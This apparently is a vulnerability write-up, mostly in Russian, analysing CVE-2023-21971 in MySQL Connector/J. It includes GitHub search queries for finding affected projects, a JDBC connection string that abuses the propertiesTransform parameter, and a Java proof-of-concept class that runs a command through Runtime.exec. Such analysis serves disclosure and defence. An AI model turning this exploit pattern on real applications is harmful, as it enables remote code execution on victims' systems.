
CVE-2023-21971 Connector/J RCE Анализ分析
Remote Code Execution (RCE) in com.mysql:mysql-connector-j | CVE-2023-21971 | Snyk
New Vulnerability in MySQL JDBC Driver: RCE and Unauthorized DB Access
MYSQL JDBC反序列化解析 - 跳跳糖 (tttang.com)
Уязвимость в продукте MySQL Connectors от Oracle MySQL (компонент: Connector/J). Затронутые поддерживаемые версии: 8.0.32 и более ранние. Трудно эксплуатируемая уязвимость позволяет атакующему с высокими привилегиями, имеющему доступ к сети через несколько протоколов, нарушить работу MySQL Connector. Успешная атака требует взаимодействия с человеком, отличным от атакующего. Успешная атака может привести к неавторизованной возможности приостановки или частого повторяющегося сбоя MySQL Connector (полный DOS), а также к неавторизованному обновлению, вставке или удалению некоторых данных, доступных MySQL Connector, и к неавторизованному чтению некоторых данных, доступных MySQL Connector.
Область воздействия:
Поиск на Github проектов, зависимых от mysql-connector-java.
filename:pom.xml mysql-connector-java
Поиск на Github позволяет найти проекты, зависимые от определённой версии mysql-connector-java.
filename:pom.xml mysql-connector-java 8.0.32
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.example.MyArbitraryClass");
src/main/core-api/java/com/mysql/cj/conf/ConnectionUrl.java
Здесь очевидно, что мы можем контролировать propertiesTransformClassName, при вызове newInstance() автоматически вызывается его конструктор без параметров.
this.propertiesTransformer = (ConnectionPropertiesTransform) Class.forName(propertiesTransformClassName).newInstance();
Очевидно, можно написать демо для проверки.
Maven Repository: com.mysql » mysql-connector-j » 8.0.32 (mvnrepository.com)
<!-- https://mvnrepository.com/artifact/mysql/mysql-connector-java -->
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.32</version>
</dependency>
Здесь мы просто скачиваем Jar-файл и импортируем его в Libraries проекта IDEA.
Test.java
import java.sql.Connection;
import java.sql.DriverManager;
public class Test {
public static void main(String[] args) throws Exception {
Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" + "user=test&password=test&propertiesTransform=com.jeyiuwai.Evil");
}
}
com.jeyiuwai.Evil
package com.jeyiuwai;
import com.mysql.cj.conf.ConnectionPropertiesTransform;
import java.io.IOException;
import java.util.Properties;
public class Evil implements ConnectionPropertiesTransform {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc");
}
@Override
public Properties transformProperties(Properties properties) {
return null;
}
}
Но класс Evil создан локально, и ни один из зависимостей не содержит класса, реализующего интерфейс ConnectionPropertiesTransform. Неужели это бесполезная уязвимость?
Путём эксперимента мы обнаружили, что на самом деле классу Evil не нужно реализовывать интерфейс ConnectionPropertiesTransform для выполнения команд.
setupPropertiesTransformer:382, ConnectionUrl (com.mysql.cj.conf)
collectProperties:370, ConnectionUrl (com.mysql.cj.conf)
<init>:347, ConnectionUrl (com.mysql.cj.conf)
<init>:47, SingleConnectionUrl (com.mysql.cj.conf.url)
newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
newInstance:423, Constructor (java.lang.reflect)
handleNewInstance:192, Util (com.mysql.cj.util)
getInstance:167, Util (com.mysql.cj.util)
getInstance:174, Util (com.mysql.cj.util)
getImplementingInstance:241, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:211, ConnectionUrl$Type (com.mysql.cj.conf)
getConnectionUrlInstance:280, ConnectionUrl (com.mysql.cj.conf)
connect:195, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
main:12, Test